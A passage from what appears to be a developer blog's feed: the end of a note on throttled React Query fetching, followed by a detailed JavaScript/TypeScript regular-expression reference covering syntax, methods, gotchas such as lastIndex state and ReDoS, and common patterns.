          onChange={(e) =&amp;gt; setMaxPrice(Number(e.target.value))}
        /&amp;gt;
      &amp;lt;/label&amp;gt;
      &amp;lt;ProductGrid products={products} dimmed={isFetching} /&amp;gt;
    &amp;lt;/&amp;gt;
  )
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The same pattern works for map bounds as the user pans (&lt;code&gt;queryKey: [&apos;places&apos;, throttledBounds]&lt;/code&gt;).&lt;/p&gt;
&lt;h3&gt;Infinite scroll with &lt;code&gt;useInfiniteQuery&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Check the scroll position at most every 200ms and load the next page near the bottom. The &lt;code&gt;hasNextPage&lt;/code&gt; / &lt;code&gt;isFetchingNextPage&lt;/code&gt; guard stops duplicate requests.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { useInfiniteQuery } from &apos;@tanstack/react-query&apos;

type Page = { items: Post[]; nextCursor: string | null }

function Feed() {
  const { data, fetchNextPage, hasNextPage, isFetchingNextPage } = useInfiniteQuery({
    queryKey: [&apos;feed&apos;],
    queryFn: async ({ pageParam, signal }): Promise&amp;lt;Page&amp;gt; =&amp;gt; {
      const res = await fetch(`/api/feed?cursor=${pageParam ?? &apos;&apos;}`, { signal })
      return res.json()
    },
    initialPageParam: null as string | null,
    getNextPageParam: (lastPage) =&amp;gt; lastPage.nextCursor,
  })

  const onScroll = useThrottledCallback(() =&amp;gt; {
    const nearBottom =
      window.innerHeight + window.scrollY &amp;gt;= document.documentElement.scrollHeight - 800
    if (nearBottom &amp;amp;&amp;amp; hasNextPage &amp;amp;&amp;amp; !isFetchingNextPage) fetchNextPage()
  }, 200)

  useEffect(() =&amp;gt; {
    window.addEventListener(&apos;scroll&apos;, onScroll, { passive: true })
    return () =&amp;gt; window.removeEventListener(&apos;scroll&apos;, onScroll)
  }, [onScroll])

  return (
    &amp;lt;ul&amp;gt;
      {data?.pages.flatMap((page) =&amp;gt; page.items).map((post) =&amp;gt; &amp;lt;PostRow key={post.id} post={post} /&amp;gt;)}
      {isFetchingNextPage &amp;amp;&amp;amp; &amp;lt;li&amp;gt;Loading…&amp;lt;/li&amp;gt;}
    &amp;lt;/ul&amp;gt;
  )
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;An &lt;a href=&quot;/notes/intersection-observer/&quot;&gt;&lt;code&gt;IntersectionObserver&lt;/code&gt;&lt;/a&gt; on a sentinel element at the end of the list does the same job without a scroll listener. Use the throttled version when you already have a scroll handler, or need the position for other things.&lt;/p&gt;
&lt;h3&gt;Throttle refetches from rapid events&lt;/h3&gt;
&lt;p&gt;Some events fire in bursts: a websocket that pushes many &quot;something changed&quot; messages, or a real-time cursor. Throttle the invalidation so the list refetches at most once a second instead of once per message.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function useLiveOrders() {
  const queryClient = useQueryClient()
  const invalidate = useThrottledCallback(
    () =&amp;gt; queryClient.invalidateQueries({ queryKey: [&apos;orders&apos;] }),
    1000,
  )

  useEffect(() =&amp;gt; {
    const ws = new WebSocket(&apos;wss://example.com/orders&apos;)
    ws.addEventListener(&apos;message&apos;, invalidate)
    return () =&amp;gt; ws.close()
  }, [invalidate])

  return useQuery({ queryKey: [&apos;orders&apos;], queryFn: fetchOrders })
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>javascript</category><category>typescript</category><category>react</category><author>Zander Martineau</author></item><item><title>Regular expressions</title><link>https://zander.wtf/notes/regex/</link><guid isPermaLink="true">https://zander.wtf/notes/regex/</guid><description>A comprehensive reference for regular expressions in JavaScript/TypeScript. I write regexes rarely enough that I forget the syntax every single time, so…</description><pubDate>Tue, 28 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;A comprehensive reference for regular expressions in JavaScript/TypeScript. I write regexes rarely enough that I forget the syntax every single time, so this is the page I want to land on when that happens.&lt;/p&gt;
&lt;h2&gt;Creating a regex&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// Literal — compiled once, at parse time. Use this by default.
const re = /\d+/g

// Constructor — use when the pattern is dynamic.
const word = &apos;cat&apos;
const re2 = new RegExp(`\\b${word}\\b`, &apos;gi&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The constructor takes a &lt;strong&gt;string&lt;/strong&gt;, so every backslash must be doubled: &lt;code&gt;\d&lt;/code&gt; becomes &lt;code&gt;\\d&lt;/code&gt;. This is the single most common source of &quot;why doesn&apos;t my regex work&quot;.&lt;/p&gt;
&lt;p&gt;If you&apos;re interpolating user input into a pattern, escape it first — otherwise a stray &lt;code&gt;(&lt;/code&gt; throws a &lt;code&gt;SyntaxError&lt;/code&gt; and &lt;code&gt;.*&lt;/code&gt; becomes an unintended wildcard:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const escapeRegex = (str: string) =&amp;gt; str.replace(/[.*+?^${}()|[\]\\]/g, &apos;\\$&amp;amp;&apos;)

new RegExp(escapeRegex(&apos;price: $9.99 (sale)&apos;), &apos;i&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;There&apos;s also a TC39 proposal for &lt;code&gt;RegExp.escape&lt;/code&gt; — check support before reaching for it.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Flags&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Flag&lt;/th&gt;
&lt;th&gt;Name&lt;/th&gt;
&lt;th&gt;What it does&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;g&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;global&lt;/td&gt;
&lt;td&gt;Find all matches, not just the first&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;i&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;ignoreCase&lt;/td&gt;
&lt;td&gt;Case-insensitive&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;m&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;multiline&lt;/td&gt;
&lt;td&gt;&lt;code&gt;^&lt;/code&gt; and &lt;code&gt;$&lt;/code&gt; match at line breaks, not just string start/end&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;s&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;dotAll&lt;/td&gt;
&lt;td&gt;&lt;code&gt;.&lt;/code&gt; also matches newlines&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;u&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;unicode&lt;/td&gt;
&lt;td&gt;Treat the pattern as Unicode code points; enables &lt;code&gt;\p{…}&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;v&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;unicodeSets&lt;/td&gt;
&lt;td&gt;Superset of &lt;code&gt;u&lt;/code&gt; — set operations inside &lt;code&gt;[…]&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;y&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;sticky&lt;/td&gt;
&lt;td&gt;Match must start exactly at &lt;code&gt;lastIndex&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;d&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;hasIndices&lt;/td&gt;
&lt;td&gt;Adds &lt;code&gt;.indices&lt;/code&gt; to match results&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;pre&gt;&lt;code&gt;&apos;Line one\nLine two&apos;.match(/^Line/gm) // [&apos;Line&apos;, &apos;Line&apos;]
/a.c/.test(&apos;a\nc&apos;) // false
/a.c/s.test(&apos;a\nc&apos;) // true
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;m&lt;/code&gt; only changes what &lt;code&gt;^&lt;/code&gt; and &lt;code&gt;$&lt;/code&gt; mean. &lt;code&gt;s&lt;/code&gt; only changes what &lt;code&gt;.&lt;/code&gt; means. They&apos;re independent and frequently confused.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Character classes&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;.        any char except newline (unless `s` flag)
\d       digit          [0-9]
\D       non-digit
\w       word char      [A-Za-z0-9_]
\W       non-word char
\s       whitespace     space, tab, newline, \r, \f, \v, unicode spaces
\S       non-whitespace
\t \n \r tab, newline, carriage return
\0       NUL
\xHH     char by 2-digit hex, e.g. \x41 === &apos;A&apos;
\uHHHH   char by 4-digit hex, e.g. \u00e9 === &apos;é&apos;
\u{1F600} code point — requires the `u` or `v` flag
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;\w&lt;/code&gt; is ASCII-only. It does &lt;strong&gt;not&lt;/strong&gt; match &lt;code&gt;é&lt;/code&gt;, &lt;code&gt;ñ&lt;/code&gt;, or &lt;code&gt;日&lt;/code&gt;. For real-world text use Unicode property escapes (below).&lt;/p&gt;
&lt;h3&gt;Custom classes&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;/[aeiou]/       // any one of these
/[^aeiou]/      // anything but these — ^ only negates inside brackets
/[a-z0-9_-]/    // ranges; put - first or last to match a literal hyphen
/[\d\s]/        // shorthands work inside brackets
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Inside &lt;code&gt;[…]&lt;/code&gt; most metacharacters lose their meaning — &lt;code&gt;[.+*]&lt;/code&gt; matches a literal dot, plus, or asterisk. You still need to escape &lt;code&gt;]&lt;/code&gt;, &lt;code&gt;\&lt;/code&gt;, and &lt;code&gt;^&lt;/code&gt; (when leading).&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Quantifiers&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;*        0 or more
+        1 or more
?        0 or 1 (optional)
{3}      exactly 3
{3,}     3 or more
{3,5}    3 to 5
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;By default quantifiers are &lt;strong&gt;greedy&lt;/strong&gt; — they consume as much as possible, then backtrack. Add &lt;code&gt;?&lt;/code&gt; to make them &lt;strong&gt;lazy&lt;/strong&gt; (as little as possible):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const html = &apos;&amp;lt;b&amp;gt;bold&amp;lt;/b&amp;gt; and &amp;lt;i&amp;gt;italic&amp;lt;/i&amp;gt;&apos;

html.match(/&amp;lt;.+&amp;gt;/)[0] // &apos;&amp;lt;b&amp;gt;bold&amp;lt;/b&amp;gt; and &amp;lt;i&amp;gt;italic&amp;lt;/i&amp;gt;&apos;  greedy
html.match(/&amp;lt;.+?&amp;gt;/)[0] // &apos;&amp;lt;b&amp;gt;&apos;                            lazy
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Lazy quantifiers are the fix for 90% of &quot;my regex matched way too much&quot; problems.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Anchors and boundaries&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;^        start of string (or line, with `m`)
$        end of string (or line, with `m`)
\b       word boundary
\B       not a word boundary
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;/^\d+$/.test(&apos;12345&apos;) // true  — entire string is digits
/^\d+$/.test(&apos;123a&apos;) // false

&apos;cat catalogue&apos;.match(/\bcat\b/g) // [&apos;cat&apos;] — not &apos;catalogue&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Gotcha: &lt;code&gt;\b&lt;/code&gt; is defined in terms of &lt;code&gt;\w&lt;/code&gt;, so it behaves oddly around accented characters and emoji.&lt;/p&gt;
&lt;p&gt;Also: &lt;code&gt;^…$&lt;/code&gt; with the &lt;code&gt;m&lt;/code&gt; flag will happily let a multi-line string pass a &quot;validation&quot; regex. If you&apos;re validating a whole input, don&apos;t use &lt;code&gt;m&lt;/code&gt;.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Groups&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;(…)          capturing group
(?:…)        non-capturing group — grouping without a capture slot
(?&amp;lt;name&amp;gt;…)   named capturing group
\1           backreference to group 1
\k&amp;lt;name&amp;gt;     backreference to a named group
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;const date = &apos;2026-07-28&apos;

// Numbered
const [, y, m, d] = date.match(/(\d{4})-(\d{2})-(\d{2})/)!

// Named — far more readable, and survives reordering
const { year, month, day } = date.match(
  /(?&amp;lt;year&amp;gt;\d{4})-(?&amp;lt;month&amp;gt;\d{2})-(?&amp;lt;day&amp;gt;\d{2})/,
)!.groups!
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Backreferences match the same &lt;strong&gt;text&lt;/strong&gt; that a group captured, which makes them good at finding repetition:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Doubled words
&apos;the the quick brown brown fox&apos;.match(/\b(\w+)\s+\1\b/g)
// [&apos;the the&apos;, &apos;brown brown&apos;]

// Matching quote styles
/([&quot;&apos;])(.*?)\1/.exec(`say &quot;hi&quot; now`)[0] // &apos;&quot;hi&quot;&apos; — closing quote must match the opener
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Use &lt;code&gt;(?:…)&lt;/code&gt; whenever you only need grouping — it keeps capture numbering clean and is marginally faster.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Alternation&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;/cat|dog|bird/.test(&apos;I have a dog&apos;) // true

// Alternation has the lowest precedence — group it when it matters
/^(cat|dog)s?$/.test(&apos;dogs&apos;) // true
/^cat|dog$/ // means: (^cat) OR (dog$) — probably not what you want
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Order matters: the engine takes the &lt;strong&gt;first&lt;/strong&gt; alternative that matches, not the longest. Put longer alternatives first: &lt;code&gt;/\b(JavaScript|Java)\b/&lt;/code&gt;, not the reverse.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Lookaround&lt;/h2&gt;
&lt;p&gt;Zero-width assertions — they check for a pattern without consuming it.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;(?=…)    positive lookahead   — followed by
(?!…)    negative lookahead   — not followed by
(?&amp;lt;=…)   positive lookbehind  — preceded by
(?&amp;lt;!…)   negative lookbehind  — not preceded by
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;// Number followed by &apos;px&apos;, capture just the number
&apos;width: 20px&apos;.match(/\d+(?=px)/)![0] // &apos;20&apos;

// Number NOT followed by &apos;px&apos;
&apos;20px 30em&apos;.match(/\d+(?!px|\d)/g) // [&apos;30&apos;]

// Price preceded by £
&apos;£42 and $99&apos;.match(/(?&amp;lt;=£)\d+/)![0] // &apos;42&apos;

// Words not preceded by &apos;@&apos;
&apos;hello @world&apos;.match(/(?&amp;lt;!@)\b\w+/g) // [&apos;hello&apos;]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Lookbehind is supported in all modern engines (Node 8.3+, Safari 16.4+), but bear in mind older Safari throws a &lt;code&gt;SyntaxError&lt;/code&gt; at &lt;em&gt;parse&lt;/em&gt; time — which can take down an entire bundle, not just the one feature. If you must support ancient Safari, feature-detect in a &lt;code&gt;try/catch&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Classic use: password validation without writing four separate tests.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const strongPassword = /^(?=.*[a-z])(?=.*[A-Z])(?=.*\d)(?=.*[\W_]).{12,}$/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Each lookahead scans from position 0 independently, so order is irrelevant.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Unicode property escapes&lt;/h2&gt;
&lt;p&gt;Requires the &lt;code&gt;u&lt;/code&gt; or &lt;code&gt;v&lt;/code&gt; flag. This is how you handle non-English text properly.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/\p{L}/u          // any letter, any language
/\p{Lu}/u         // uppercase letter
/\p{N}/u          // any number
/\p{Script=Cyrillic}/u
/\p{Emoji_Presentation}/u
/\P{L}/u          // capital P negates
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;// A &quot;word&quot; regex that actually works internationally
const words = &apos;Café naïve 日本語 tests&apos;.match(/[\p{L}\p{N}_]+/gu)
// [&apos;Café&apos;, &apos;naïve&apos;, &apos;日本語&apos;, &apos;tests&apos;]

// vs. \w, which mangles it
&apos;Café naïve&apos;.match(/\w+/g) // [&apos;Caf&apos;, &apos;na&apos;, &apos;ve&apos;]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;v&lt;/code&gt; flag adds set operations, which are genuinely useful for emoji and script filtering:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/[\p{Script=Greek}--[\p{Lu}]]/v // Greek letters, minus uppercase (difference)
/[\p{L}&amp;amp;&amp;amp;\p{ASCII}]/v // ASCII letters only (intersection)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Splitting strings with emoji&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;.length&lt;/code&gt; and &lt;code&gt;split(&apos;&apos;)&lt;/code&gt; count UTF-16 code units, which breaks on anything outside the BMP:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&apos;👨‍👩‍👧&apos;.length // 8
;[...&apos;👨‍👩‍👧&apos;].length // 5 — code points (3 people + 2 joiners)

// Grapheme clusters — what a human calls &quot;a character&quot;
const seg = new Intl.Segmenter(&apos;en&apos;, { granularity: &apos;grapheme&apos; })
;[...seg.segment(&apos;👨‍👩‍👧&apos;)].length // 1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Use &lt;code&gt;Intl.Segmenter&lt;/code&gt; over regex for anything user-facing that involves counting characters.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;The methods&lt;/h2&gt;
&lt;h3&gt;&lt;code&gt;test&lt;/code&gt; — boolean&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;/\d/.test(&apos;abc1&apos;) // true
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Fastest option when you only need yes/no. &lt;strong&gt;Never&lt;/strong&gt; use a &lt;code&gt;g&lt;/code&gt;-flagged regex with &lt;code&gt;test&lt;/code&gt; in a loop or a reused variable — see the &lt;code&gt;lastIndex&lt;/code&gt; gotcha below.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;match&lt;/code&gt; — one match, or all matches&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// Without `g`: rich result object
const m = &apos;2026-07-28&apos;.match(/(\d{4})-(\d{2})/)
m[0] // &apos;2026-07&apos; full match
m[1] // &apos;2026&apos;    group 1
m.index // 0
m.input // &apos;2026-07-28&apos;
m.groups // named groups, or undefined

// With `g`: flat array of full matches only — no groups, no index
&apos;a1b2c3&apos;.match(/\d/g) // [&apos;1&apos;, &apos;2&apos;, &apos;3&apos;]

// No match: null, NOT []
&apos;abc&apos;.match(/\d/g) // null
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That &lt;code&gt;null&lt;/code&gt; return is a constant source of &lt;code&gt;TypeError: Cannot read properties of null&lt;/code&gt;. Guard it, or use &lt;code&gt;matchAll&lt;/code&gt;/&lt;code&gt;??  []&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;matchAll&lt;/code&gt; — all matches, with full detail&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;const css = &apos;margin: 10px 20px 30px&apos;

for (const m of css.matchAll(/(\d+)(px|em)/g)) {
  console.log(m[1], m[2], m.index)
}

// Or collect
const all = [...css.matchAll(/(\d+)px/g)].map((m) =&amp;gt; Number(m[1]))
// [10, 20, 30]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Requires the &lt;code&gt;g&lt;/code&gt; flag (throws &lt;code&gt;TypeError&lt;/code&gt; without it). Returns an iterator, so it&apos;s &lt;code&gt;[...]&lt;/code&gt; or &lt;code&gt;for…of&lt;/code&gt;. This is what you want almost any time you&apos;d reach for a &lt;code&gt;while (exec())&lt;/code&gt; loop.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;exec&lt;/code&gt; — stateful iteration&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;const re = /(\d+)/g
let m: RegExpExecArray | null

while ((m = re.exec(&apos;a1b22c333&apos;)) !== null) {
  console.log(m[1], re.lastIndex)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Same result shape as non-global &lt;code&gt;match&lt;/code&gt;. Only reach for this over &lt;code&gt;matchAll&lt;/code&gt; if you need to mutate &lt;code&gt;lastIndex&lt;/code&gt; mid-loop.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;replace&lt;/code&gt; / &lt;code&gt;replaceAll&lt;/code&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;&apos;2026-07-28&apos;.replace(/(\d{4})-(\d{2})-(\d{2})/, &apos;$3/$2/$1&apos;) // &apos;28/07/2026&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Replacement string patterns:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Pattern&lt;/th&gt;
&lt;th&gt;Inserts&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;$&amp;amp;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;the whole match&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;$`&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;text before the match&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;$&apos;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;text after the match&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;$1&lt;/code&gt;, &lt;code&gt;$2&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;numbered group&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;$&amp;lt;name&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;named group&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;$$&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;a literal &lt;code&gt;$&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;pre&gt;&lt;code&gt;// Named groups read much better
&apos;2026-07-28&apos;.replace(
  /(?&amp;lt;y&amp;gt;\d{4})-(?&amp;lt;m&amp;gt;\d{2})-(?&amp;lt;d&amp;gt;\d{2})/,
  &apos;$&amp;lt;d&amp;gt;/$&amp;lt;m&amp;gt;/$&amp;lt;y&amp;gt;&apos;,
)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A &lt;strong&gt;function&lt;/strong&gt; replacer gives you real logic. Args are &lt;code&gt;(match, ...groups, offset, string, groups?)&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// kebab-case → camelCase
const camel = (s: string) =&amp;gt; s.replace(/-([a-z])/g, (_, c) =&amp;gt; c.toUpperCase())
camel(&apos;background-image-url&apos;) // &apos;backgroundImageUrl&apos;

// camelCase → kebab-case
const kebab = (s: string) =&amp;gt;
  s.replace(/[A-Z]/g, (c) =&amp;gt; `-${c.toLowerCase()}`)
kebab(&apos;backgroundImageUrl&apos;) // &apos;background-image-url&apos;

// Named groups arrive as the last argument
&apos;2026-07-28&apos;.replace(
  /(?&amp;lt;y&amp;gt;\d{4})-(?&amp;lt;m&amp;gt;\d{2})-(?&amp;lt;d&amp;gt;\d{2})/,
  (...args) =&amp;gt; {
    const { y, m, d } = args.at(-1) as Record&amp;lt;string, string&amp;gt;
    return `${d}/${m}/${y}`
  },
)

// Templating
const template = (str: string, data: Record&amp;lt;string, unknown&amp;gt;) =&amp;gt;
  str.replace(/\{\{(\w+)\}\}/g, (_, key) =&amp;gt; String(data[key] ?? &apos;&apos;))

template(&apos;Hi {{name}}, you have {{count}} messages&apos;, {
  name: &apos;Zander&apos;,
  count: 3,
})
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;replace&lt;/code&gt; with a non-global regex only replaces the first occurrence. &lt;code&gt;replaceAll&lt;/code&gt; replaces every one, and &lt;strong&gt;throws&lt;/strong&gt; if given a regex without &lt;code&gt;g&lt;/code&gt; — which is a genuinely useful safety net.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;search&lt;/code&gt; and &lt;code&gt;split&lt;/code&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;&apos;hello world&apos;.search(/world/) // 6, or -1
&apos;a1b22c&apos;.split(/\d+/) // [&apos;a&apos;, &apos;b&apos;, &apos;c&apos;]
&apos;a1b22c&apos;.split(/(\d+)/) // [&apos;a&apos;, &apos;1&apos;, &apos;b&apos;, &apos;22&apos;, &apos;c&apos;] — captures included
&apos;a,b;c d&apos;.split(/[,;\s]/) // [&apos;a&apos;, &apos;b&apos;, &apos;c&apos;, &apos;d&apos;]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;split&lt;/code&gt; with capture groups keeping the delimiters is a nice trick for tokenising.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Gotchas&lt;/h2&gt;
&lt;h3&gt;&lt;code&gt;lastIndex&lt;/code&gt; state&lt;/h3&gt;
&lt;p&gt;A &lt;code&gt;g&lt;/code&gt; or &lt;code&gt;y&lt;/code&gt; flagged regex object carries mutable state. Reusing one is a bug factory:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const re = /\d/g

re.test(&apos;a1&apos;) // true  — lastIndex now 2
re.test(&apos;a1&apos;) // false — resumed from index 2!
re.test(&apos;a1&apos;) // true  — lastIndex reset to 0 after failure
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Fixes, in order of preference:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Drop the &lt;code&gt;g&lt;/code&gt; flag — &lt;code&gt;test&lt;/code&gt; doesn&apos;t need it.&lt;/li&gt;
&lt;li&gt;Create the regex inline rather than hoisting it to module scope.&lt;/li&gt;
&lt;li&gt;Reset manually: &lt;code&gt;re.lastIndex = 0&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The same trap applies to a module-level regex shared across function calls, or a regex in a React component body reused across renders.&lt;/p&gt;
&lt;h3&gt;Catastrophic backtracking (ReDoS)&lt;/h3&gt;
&lt;p&gt;Nested quantifiers over overlapping character sets can blow up exponentially:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// DON&apos;T — hangs on &apos;aaaaaaaaaaaaaaaaaaaaaaaaaaaa!&apos;
const bad = /^(a+)+$/

// DON&apos;T — a classic vulnerable &quot;email&quot; regex
const alsoBad = /^([a-zA-Z0-9])(([\-.]|[_]+)?([a-zA-Z0-9]+))*(@)/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The problems to look for: &lt;code&gt;(x+)+&lt;/code&gt;, &lt;code&gt;(x*)*&lt;/code&gt;, &lt;code&gt;(a|ab)+&lt;/code&gt;, and alternations where branches can match the same text. Fixes: make the inner pattern unambiguous, use a lazy quantifier, bound the repetition with &lt;code&gt;{1,20}&lt;/code&gt;, or split the job into two simpler passes. If a pattern comes from user input, put a hard length cap on it.&lt;/p&gt;
&lt;h3&gt;Don&apos;t parse HTML&lt;/h3&gt;
&lt;p&gt;Genuinely — use &lt;code&gt;DOMParser&lt;/code&gt; or the actual DOM. Regex can&apos;t handle nesting, and every &quot;just this once&quot; HTML regex eventually meets a nested tag or an attribute containing &lt;code&gt;&amp;gt;&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Email validation&lt;/h3&gt;
&lt;p&gt;The full RFC 5322 grammar is not worth expressing as a regex. Do a sanity check and then send a confirmation email:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const looksLikeEmail = (s: string) =&amp;gt; /^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(s)
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Useful patterns&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// Trim + collapse internal whitespace
const normalise = (s: string) =&amp;gt; s.trim().replace(/\s+/g, &apos; &apos;)

// Slugify
const slugify = (s: string) =&amp;gt;
  s
    .normalize(&apos;NFKD&apos;)
    .replace(/[\u0300-\u036f]/g, &apos;&apos;) // strip diacritics
    .toLowerCase()
    .replace(/[^\p{L}\p{N}]+/gu, &apos;-&apos;)
    .replace(/^-+|-+$/g, &apos;&apos;)

slugify(&apos;Héllo, World! (2026)&apos;) // &apos;hello-world-2026&apos;

// Thousands separators
const commas = (n: number) =&amp;gt; String(n).replace(/\B(?=(\d{3})+(?!\d))/g, &apos;,&apos;)
commas(1234567) // &apos;1,234,567&apos;

// Hex colour, 3/4/6/8 digit
const hex = /^#(?:[\da-f]{3,4}|[\da-f]{6}|[\da-f]{8})$/i

// URL — leans on the URL constructor for the hard part
const isUrl = (s: string) =&amp;gt; {
  try {
    const u = new URL(s)
    return u.protocol === &apos;http:&apos; || u.protocol === &apos;https:&apos;
  } catch {
    return false
  }
}

// UUID v4
const uuidV4 =
